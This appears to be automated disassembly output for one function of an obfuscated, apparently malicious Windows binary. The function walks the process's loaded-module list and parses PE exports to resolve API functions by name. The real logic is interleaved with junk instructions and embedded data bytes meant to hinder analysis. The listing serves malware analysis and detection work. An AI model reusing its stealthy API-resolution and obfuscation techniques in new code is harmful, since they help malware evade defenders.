Function at 0x50f410
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
mov edx, dword [ebp - 0x6f4]
add edx, 1
mov dword [ebp - 0x6f4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x6f4]
cmp ecx, dword [eax + 0x18]
jae 0x50f566
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x6f8], ecx
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18a8]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18ac], eax
mov dword [ebp - 0x180], 0
jmp 0x50f3ca
mov ecx, dword [ebp - 0x180]
add ecx, 1
mov dword [ebp - 0x180], ecx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
test eax, eax
je 0x50f47c
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
test edx, edx
je 0x50f47c
push esi
push ecx
add esp, 4
and esi, 0xe46a
call 0x50f410
add byte [ecx + 0x3a], al
cmp al, byte [eax + 0x42]
inc edx
dec eax
inc edi
aas
add esp, 4
jmp 0x50f41a
sub esi, 0x141b3
pop esi
push ebx
and ebx, 0x55fc
pop ebx
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
cmp ecx, eax
je 0x50f46e
mov ecx, dword [ebp - 0x6f8]
add ecx, dword [ebp - 0x180]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x180]
movsx ecx, byte [ebp + eax - 0x820]
cmp edx, ecx
jne 0x50f475
jmp 0x50f3bb
jmp 0x50f47c
push edx
and edx, 0xd2ad
and edx, 0x181e7
or edx, 0x137bd
xor edx, 0x166d3
pop edx
push esi
push edx
add esp, 4
sub esi, 0xa403
xor esi, 0x8d35
or esi, 0xa5ce
into
into
movsd dword es:[edi], dword [esi]
add byte [eax], al
pop esi
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
cmp eax, edx
jne 0x50f4db
mov dword [ebp - 0xc30], 0
jmp 0x50f54a
push ebx
and ebx, 0xbc23
or ebx, 0x141d3
and ebx, 0x17230
pop ebx
push esi
push ecx
add esp, 4
sub esi, 0xe593
sub esi, 0x14538
sub esi, 0x12df9
and esi, 0x4b77
pop esi
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
or eax, 0x20
cmp ecx, eax
jge 0x50f540
mov dword [ebp - 0xc30], 0xffffffff
jmp 0x50f54a
mov dword [ebp - 0xc30], 1
cmp dword [ebp - 0xc30], 0
jne 0x50f561
mov ecx, dword [ebp - 0x18ac]
mov dword [ebp - 0x3c4], ecx
jmp 0x50f572
jmp 0x50f34b
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
cmp dword [ebp - 0x3c4], 0
je 0x50f64d
push edx
and edx, 0x12f18
call 0x50f594
add byte [esi + 0x483b3835], dh
dec ecx
dec edi
add esp, 4
and edx, 0xd2df
xor edx, 0xcc9d
pop edx
push eax
jmp 0x50f5aa
xor eax, 0xd6c6
pop eax
mov eax, dword [ebp - 0x3c4]
mov dword [ebp - 0x18b0], eax
push edx
sub edx, 0xfd12
xor edx, 0x15575
pop edx
push edx
push edi
add esp, 4
or edx, 0x1b6c
xor edx, 0x1cc2
add edx, 0x3c4
pop edx
push eax
push esi
add esp, 4
xor eax, 0x6d12
pop eax
mov ecx, dword [ebp - 0x18b0]
mov dword [ebp - 0x18b4], ecx
lea edx, [ebp - 0x1628]
push edx
call dword [ebp - 0x18b4]
test eax, eax
jne 0x50f64d
push edi
and edi, 0x17e6e
sub edi, 0xcf83
and edi, 0xe957
pop edi
push ecx
push ecx
add esp, 4
call 0x50f634
add byte [ecx + 0x4d], cl
aaa
inc edi
inc esp
inc eax
xor eax, 0xc4833a4f
add al, 0x81
ror dword [ebx + 0x5f], 0
add byte [ecx - 0x39], bl
test eax, ecx
clc
invalid
push eax
call 0x50f65d
add byte [ebp + 0x46], al
dec edx
dec esp
dec esp
inc esp
xor eax, dword [ebx + 0x32]
add esp, 4
add eax, 0x480e
call 0x50f675
add byte [esi + 0x4b], cl
cmp bh, byte [eax]
inc ebx
inc ebx
dec edx
inc eax
add esp, 4
add eax, 0xe20c
pop eax
mov eax, dword fs:[0x18]
mov dword [ebp - 0x18b8], eax
mov ecx, dword [ebp - 0x18b8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18bc], edx
mov eax, dword [ebp - 0x18bc]
mov dword [ebp - 0x14f4], eax
push esi
push edx
add esp, 4
sub esi, 0x13721
add esi, 0x2c3d
and esi, 0xab0
pop esi
push eax
and eax, 0x17cd7
pop eax
push edi
push eax
add esp, 4
sub edi, 0x381a
sub edi, 0x10635
pop edi
cmp dword [ebp - 0x14f4], 0
jne 0x50f6f0
mov dword [ebp - 0x2e0], 0
jmp 0x50f997
mov ecx, dword [ebp - 0x14f4]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc3c], eax
push eax
add eax, 0x979e
pop eax
push edx
push ebx
add esp, 4
sub edx, 0x7e35
pop edx
push ecx
push ecx
add esp, 4
jmp 0x50f722
pop ecx
push ecx
push eax
add esp, 4
or ecx, 0x10092
jmp 0x50f733
pop ecx
cmp dword [ebp - 0xc3c], 0
jne 0x50f74c
mov dword [ebp - 0x2e0], 0
jmp 0x50f997
mov ecx, dword [ebp - 0xc3c]
mov dword [ebp - 0x4dc], ecx
push edx
xor edx, 0x11331
or edx, 0x10ba1
pop edx
push ecx
jmp 0x50f76f
add ecx, 0xaac5
sub ecx, 0xa6d7
sub ecx, 0xfee3
pop ecx
push ebx
and ebx, 0xb98
pop ebx
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc38], edx
mov eax, dword [ebp - 0x4dc]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc34], ecx
xor edx, edx
mov word [ebp - 0x200], dx
xor eax, eax
mov word [ebp - 0x34], ax
push esi
push esi
add esp, 4
call 0x50f7c8
add byte [edx], bh
xor eax, 0x413e364f
inc edx
inc ebp
dec ebp
add esp, 4
xor esi, 0x5669
sub esi, 0xaa7d
add esi, 0x1c60
pop esi
push ecx
or ecx, 0xc7d8
pop ecx
mov ecx, dword [ebp - 0xc34]
mov dx, word [ecx]
mov word [ebp - 0xf86], dx
mov eax, dword [ebp - 0xc34]
add eax, 2
mov dword [ebp - 0xc34], eax
mov cx, word [ebp - 0xf86]
mov word [ebp - 0x200], cx
mov edx, dword [ebp - 0xc38]
mov ax, word [edx]
mov word [ebp - 0xf88], ax
mov ecx, dword [ebp - 0xc38]
add ecx, 2
mov dword [ebp - 0xc38], ecx
mov dx, word [ebp - 0xf88]
mov word [ebp - 0x34], dx
push esi
push edx
add esp, 4
call 0x50f850
add byte [esi], bh
inc ecx
inc esp
aaa
dec edi
cmp bh, byte [ebx + eax*4]
les eax, [esi + ebx*2]
push ecx
sub ecx, 0x19e1
sub ecx, 0x9686
jmp 0x50f868
and ecx, 0x13bd2
pop ecx
movzx eax, word [ebp - 0x34]
test eax, eax
jne 0x50f88c
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
sub ecx, edx
mov dword [ebp - 0x14fc], ecx
jmp 0x50f8e6
movzx eax, word [ebp - 0x200]
movzx ecx, word [ebp - 0x34]
cmp eax, ecx
je 0x50f7b4
movzx edx, word [ebp - 0x200]
xor edx, 0x20
movzx eax, word [ebp - 0x34]
cmp edx, eax
je 0x50f7b4
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
cmp ecx, edx
jge 0x50f8d0
mov dword [ebp - 0x14f8], 0xffffffff
jmp 0x50f8da
mov dword [ebp - 0x14f8], 1
mov eax, dword [ebp - 0x14f8]
mov dword [ebp - 0x14fc], eax
cmp dword [ebp - 0x14fc], 0
jne 0x50f92f
push eax
xor eax, 0x11c41
jmp 0x50f8fc
sub eax, 0x152a2
pop eax
push esi
push esi
add esp, 4
sub esi, 0xe845
and esi, 0x3dfd
add esi, 0xc043
xor esi, 0xe175
pop esi
mov ecx, dword [ebp - 0x4dc]
mov dword [ebp - 0x2e0], ecx
jmp 0x50f997
push ecx
and ecx, 0x16601
pop ecx
push eax
push edx
add esp, 4
or eax, 0x15558
jmp 0x50f949
jmp 0x50f950
jmp 0x50f958
pop eax
push edx
and edx, 0x396f
pop edx
mov edx, dword [ebp - 0x4dc]
mov eax, dword [edx]
mov dword [ebp - 0x4dc], eax
mov ecx, dword [ebp - 0x4dc]
cmp ecx, dword [ebp - 0xc3c]
je 0x50f98d
mov edx, dword [ebp - 0x4dc]
cmp dword [edx + 0x30], 0
jne 0x50f758
mov dword [ebp - 0x2e0], 0
push eax
push edi
add esp, 4
xor eax, 0xe701
pop eax
push edi
push edx
add esp, 4
xor edi, 0x1a61
sub edi, 0x15147
pop edi
push ebx
or ebx, 0x95b
sub ebx, 0x174c7
and ebx, 0xcb10
pop ebx
mov eax, dword [ebp - 0x2e0]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2fc], ecx
push ebx
call 0x50f9e9
add byte [ebp + 0x4f], al
xor al, byte [ebp + eax*2 + 0x46]
inc esi
dec esi
dec ebx
inc esp
add esp, 4
pop ebx
push edi
and edi, 0x9ef3
jmp 0x50f9fd
sub edi, 0x96a8
and edi, 0x9d48
pop edi
mov dword [ebp - 0x70c], 0
mov edx, dword [ebp - 0x2fc]
mov dword [ebp - 0x1500], edx
cmp dword [ebp - 0x1500], 0
jne 0x50fa3a
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x50fd2b
mov ecx, dword [ebp - 0x1500]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x1504], edx
jne 0x50fa62
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x50fd2b
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x1504]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1508], ecx
cmp dword [ebp - 0x1508], 0
jne 0x50fa94
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
jmp 0x50fd2b
mov eax, dword [ebp - 0x2fc]
add eax, dword [ebp - 0x1508]
mov dword [ebp - 0x700], eax
jne 0x50fab9
mov ecx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], ecx
jmp 0x50fd2b
mov edx, dword [ebp - 0x700]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18c0], eax
mov ecx, dword [ebp - 0x700]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18c4], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18c8], ecx
mov dword [ebp - 0x704], 0
jmp 0x50fb13
mov edx, dword [ebp - 0x704]
add edx, 1
mov dword [ebp - 0x704], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x704]
cmp ecx, dword [eax + 0x18]
jae 0x50fd1f
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c0]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x708], ecx
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18c8]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18cc], eax
mov dword [ebp - 0x184], 0
jmp 0x50fb83
mov ecx, dword [ebp - 0x184]
add ecx, 1
mov dword [ebp - 0x184], ecx
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
test eax, eax
je 0x50fc35
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
test edx, edx
je 0x50fc35
push esi
xor esi, 0x597c
sub esi, 0x161ce
jmp 0x50fbc5
pop esi
push ebx
jmp 0x50fbcf
call 0x50fbde
add byte [edi + 0x34], al
inc edi
dec eax
push eax
inc esi
dec edx
cmp dword [edi], esi
add esp, 4
pop ebx
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
cmp ecx, eax
je 0x50fc27
mov ecx, dword [ebp - 0x708]
add ecx, dword [ebp - 0x184]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x184]
movsx ecx, byte [ebp + eax - 0x804]
cmp edx, ecx
jne 0x50fc2e
jmp 0x50fb74
jmp 0x50fc35
push eax
sub eax, 0x11cd6
sub eax, 0x8298
jmp 0x50fc47
sub eax, 0xe4f3
pop eax
push eax
jmp 0x50fc54
or eax, 0x99d2
add eax, 0xc9cf
add eax, 0x65fb
pop eax
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
cmp eax, edx
jne 0x50fc94
mov dword [ebp - 0xc40], 0
jmp 0x50fd03
push edi
xor edi, 0x148b9
pop edi
push ecx
push edi
add esp, 4
or ecx, 0xc14b
rol dword [eax], 0
add ecx, 0x364d
sub ecx, 0x126b6
pop ecx
push ecx
push ebx
add esp, 4
or ecx, 0x4654
sub ecx, 0x87a
pop ecx
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
or eax, 0x20
cmp ecx, eax
jge 0x50fcf9
mov dword [ebp - 0xc40], 0xffffffff
jmp 0x50fd03
mov dword [ebp - 0xc40], 1
cmp dword [ebp - 0xc40], 0
jne 0x50fd1a
mov ecx, dword [ebp - 0x18cc]
mov dword [ebp - 0x4e0], ecx
jmp 0x50fd2b
jmp 0x50fb04
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
mov eax, dword [ebp - 0x4e0]
mov dword [ebp - 0x738], eax
push edi
push ecx
add esp, 4
and edi, 0x456c
jmp 0x50fd48
pop edi
push ebx
push eax
add esp, 4
xor ebx, 0x1447d
and ebx, 0xd6f2
jmp 0x50fd62
or ebx, 0xd930
pop ebx
mov ecx, dword [ebp - 0x3cc]
add ecx, 0xe
mov dword [ebp - 0x1918], ecx
push edi
xor edi, 0xfc65
jmp 0x50fd86
xor edi, 0x10bdd
add edi, 0x8528
pop edi
push edi
jmp 0x50fd9d
and edi, 0xbcc4
add edi, 0x9076
pop edi
cmp dword [ebp - 0x3cc], 0
je 0x50fdbc
cmp dword [ebp - 0xa5c], 0
jne 0x50fe02
push eax
push ebx
add esp, 4
jmp 0x50fdc6
jmp 0x50fdcd
and eax, 0x17691
or eax, 0x88c
pop eax
push edx
or edx, 0xdbac
xor edx, 0xf8f6
and edx, 0x8308
pop edx
mov edx, dword [ebp - 0x738]
mov dword [ebp - 0x18d0], edx
push 0
call dword [ebp - 0x18d0]
mov dword [ebp - 0x1fb0], 0xa
push esi
push eax
add esp, 4
or esi, 0x15cd1
pop esi
push eax
push edx
add esp, 4
jmp 0x50fe23
sub eax, 0x13ad8
pop eax
push ebx
add ebx, 0x177fc
and ebx, 0xe917
sub ebx, 0x122d6
pop ebx
mov eax, dword [ebp - 0x3cc]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x381], cl
mov edx, dword [ebp - 0xa5c]
sub edx, dword [ebp - 0x3cc]
mov dword [ebp - 0x158c], edx
mov dword [ebp - 0xc70], 0
push esi
push edx
add esp, 4
call 0x50fe7a
add byte [edi], bh
cmp byte [0x8333473c], bh
les eax, [eax + ebp*8]
pop es
add byte [eax], al
add byte [eax], al
dec edx
inc esi
cmp bh, byte [esi]
inc ebp